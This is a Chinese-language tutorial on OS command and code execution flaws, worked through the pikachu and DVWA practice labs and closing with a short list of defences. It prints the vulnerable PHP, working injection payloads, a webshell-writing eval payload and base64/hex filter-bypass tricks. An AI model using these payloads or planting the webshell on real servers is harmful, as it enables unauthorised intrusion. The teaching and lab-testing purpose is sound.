WEB常见漏洞之命令执行(靶场篇)

简介: WEB常见漏洞之命令执行(靶场篇)

靶场地址:

    https://github.com/digininja/DVWA
    https://github.com/zhuifengshaonianhanlu/pikachu

    0x01 漏洞概述

    RCE(remote command/code execute),远程命令执行/代码执行。

    RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

    0x02 pikachu 靶场

    逻辑运算符

    windows

    "|": 管道符,前面命令标准输出,后面命令的标准输入
    "&": commandA & commandB 先运行命令A然后运行命令B
    "||": commandA || commandB 运行命令A,如果失败则运行命令B
    "&&": commandA && commandB 运行命令A,如果成功则运行命令B

    linux

    "|": 管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
    "&": commandA & commandB 先运行命令A然后运行命令B
    "||": commandA || commandB 运行命令A,如果失败则运行命令B
    "&&": commandA && commandB 运行命令A,如果成功则运行命令B
    ";": commandA && commandB执行完A执行B

    一、源码(ping)

    <?php
    $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
    if ($SELF_PAGE = "rce_ping.php"){
        $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
    }
    $PIKA_ROOT_DIR =  "../../";
    include_once $PIKA_ROOT_DIR . 'header.php';
    header("Content-type:text/html; charset=utf-8");
    $result='';
    if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
        $ip=$_POST['ipaddress'];
    //     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
        if(stristr(php_uname('s'), 'windows')){
    //         var_dump(php_uname('s'));
            $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
        }else {
            $result.=shell_exec('ping -c 4 '.$ip);
        }
    }
    ?>

    一个文本框,输入ip地址可以进行ping操作,查看源码,发现队输入的”ip“地址没有进行过滤

    利用管道符就可以实现任意代码执行

    先输入 127.0.0.1 看回显(验证是否可以ping本地)

    尝试直接利用逻辑运算符来进行简单利用(看是否有过滤)

    payload:


    127.0.0.1|dir

    回显

    可以看到回显了本地同级文件

    尝试payload


    127.0.0.1||dir

    可以看到,并没有执行 dir 命令(这里是为了结合漏洞,验证上面所提到的逻辑运算符使用)

    进一步进行漏洞利用

    payload


    127.0.0.1|ipconfig/all

    二、源码(exec "eval")

    <?php
    header("Content-type:text/html; charset=utf8");
    $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
    if ($SELF_PAGE = "rce_evel.php"){
        $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
    }
    $PIKA_ROOT_DIR =  "../../";
    include_once $PIKA_ROOT_DIR . 'header.php';
    $html='';
    if(isset($_POST['submit']) && $_POST['txt'] != null){
        if(@!eval($_POST['txt'])){
            $html.="<p>你喜欢的字符还挺奇怪的!</p>";
        }
    }
    ?>

    简单来说就是 eval() 函数可以执行PHP代码,然后PHP的system()函数可以执行系统命令,这样子远程代码执行就可以编程远程命令执行,输入 system("命令"),正常执行,可以访问到文件。

    payload


    txt=phpinfo();

    回显

    可以看到 phpinfo(); 函数执行了

    进一步利用(上传后门木马)

    payload


    fputs(fopen('shell.php','w'),'<?php @eval($_POST['hack']);?>');

    利用效果

    WEB后台管理工具连接(中国蚁剑)

    连接成功

    0x03  DVWA靶场

    LOW

    分析源码

    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    ?>

    没有进行任何转义以及过滤,


    127.0.0.1 & whoami

    进行查询

      如果出现乱码,更改此路径下的
      DVWA-master\dvwa\includes\dvwaPage.inc.php文件,
      将这个文件中的uft-8全部替换为gb2312

      Medium

      修改难度,分析源代码

      <?php
      if( isset( $_POST[ 'Submit' ]  ) ) {
          // Get input
          $target = $_REQUEST[ 'ip' ];
          // Set blacklist
          $substitutions = array(
              '&&' => '',
              ';'  => '',
          );
          // Remove any of the charactars in the array (blacklist).
          $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
          // Determine OS and execute the ping command.
          if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
              // Windows
              $cmd = shell_exec( 'ping  ' . $target );
          }
          else {
              // *nix
              $cmd = shell_exec( 'ping  -c 4 ' . $target );
          }
          // Feedback for the end user
          echo "<pre>{$cmd}</pre>";
      }
      ?>

      发现将&&进行转义,我们可以采用;把两个&符号分开,进行绕过


      127.0.0.1 &;& whoami

      medium只是简单的对一些符号进行了转义。

      High:

      修改难度,分析源代码

      <?php
      if( isset( $_POST[ 'Submit' ]  ) ) {
          // Get input
          $target = trim($_REQUEST[ 'ip' ]);
          // Set blacklist
          $substitutions = array(
              '&'  => '',
              ';'  => '',
              '| ' => '',
              '-'  => '',
              '$'  => '',
              '('  => '',
              ')'  => '',
              '`'  => '',
              '||' => '',
          );
          // Remove any of the characters in the array (blacklist).
          $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
          // Determine OS and execute the ping command.
          if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
              // Windows
              $cmd = shell_exec( 'ping  ' . $target );
          }
          else {
              // *nix
              $cmd = shell_exec( 'ping  -c 4 ' . $target );
          }
          // Feedback for the end user
          echo "<pre>{$cmd}</pre>";
      }
      ?>

      仅转义了| |,||进行查询

      0x04 绕过姿势

      常见绕过姿势

      绕过空格

      <  --  重定向,如cat<flag.php
      <>      --   重定向,如cat<>flag.php
      %09  --  需要php环境,如cat%09flag.php
      ${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
      $IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

      黑名单绕过

      1. 拼接

        a=c;b=at;c=flag;$a$b $c
        a=c;b=at;c=heb;d=ic;ab{c}{d}

        编码(base64)

          echo MTIzCg==|base64 -d 其将会打印123
          echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

          编码(hex)


          echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

          单引号和双引号绕过

            ca''t flag 或ca""t flag
            ca''t te""st.php

            反斜杠绕过

              ca\t fl\ag
              cat te\st.php

              绕过例题举例

              空格绕过、cat绕过

              <?php
              error_reporting(0);
              if(isset($_GET['c'])){
                  $c = $_GET['c'];
                  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ 
                      eval($c);
                  }
              }else{
                  highlight_file(__FILE__);
              }

              payload


              ?c=passthru("tac%09f*");

              单行多命令执行

              <?php
              if(isset($_GET['ip'])){
                $ip=$_GET['ip'];
                $a=shell_exec("ping -c 4 ".$ip);
                print_r($a);
              }
              else{
                highlight_file(__FILE__);
              }

              payload


              ?ip=x;cat flag.php

              截断绕过

              <?php
              if (isset($_GET['c'])) {
                    $c = $_GET['c'];
                        system($c . " >/dev/null 2>&1");
              } else {
                    highlight_file(__FILE__);
              }
              ?>

              payload


              ?c=cat f*%0a

              0x04 漏洞防御

              尽量不要执行外部命令。
              使用自定义函数或者函数库来代替外部命令的功能。
              使用escapeshe||arg函数来处理命令参数。
              使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)
              


              目录
              相关文章
              |
              4月前
              |
              安全 测试技术 程序员
              web渗透-文件包含漏洞
              文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
              799 79
              web渗透-文件包含漏洞
              |
              4月前
              |
              存储 安全 前端开发
              Web渗透-文件上传漏洞-上篇
              文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
              877 1
              Web渗透-文件上传漏洞-上篇
              |
              4月前
              |
              安全 中间件 应用服务中间件
              WEB渗透-文件上传漏洞-下篇
              本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
              319 1
              |
              4月前
              |
              存储 JavaScript 安全
              Web渗透-XSS漏洞深入及xss-labs靶场实战
              XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
              1509 1
              Web渗透-XSS漏洞深入及xss-labs靶场实战
              |
              4月前
              |
              安全 NoSQL Shell
              web渗透-SSRF漏洞及discuz论坛网站测试
              SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
              277 1
              web渗透-SSRF漏洞及discuz论坛网站测试
              |
              4月前
              |
              安全 程序员 数据库连接
              web渗透-CSRF漏洞
              CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
              526 0
              web渗透-CSRF漏洞
              |
              4月前
              |
              安全 Linux PHP
              Web渗透-命令执行漏洞-及常见靶场检测实战
              命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。
              1114 0
              |
              3月前
              |
              算法 Java Go
              【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
              gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
              311 4
              |
              7月前
              |
              缓存 JavaScript 前端开发
              鸿蒙5开发宝藏案例分享---Web开发优化案例分享
              本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
              |
              7月前
              |
              JavaScript 前端开发 API
              鸿蒙5开发宝藏案例分享---Web加载时延优化解析
              本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。